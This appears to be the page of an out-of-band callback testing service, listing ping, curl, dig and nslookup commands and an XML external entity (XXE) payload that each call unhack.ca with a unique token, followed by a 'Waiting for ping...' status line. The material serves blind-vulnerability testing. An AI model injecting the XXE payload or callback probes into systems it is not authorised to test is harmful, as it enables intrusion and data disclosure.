$ ping -c1 -p 00db410c99a720dc1ac472df4e2be600 unhack.ca
 
$ curl http://unhack.ca/p/db410c99a720dc1ac472df4e2be6
 
$ dig db410c99a720dc1ac472df4e2be6 @unhack.ca
 
$ dig db410c99a720dc1ac472df4e2be6.ns.unhack.ca
 
C:\> nslookup db410c99a720dc1ac472df4e2be6 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/db410c99a720dc1ac472df4e2be6">]>
    <foo>&xxe;</foo>
Waiting for ping...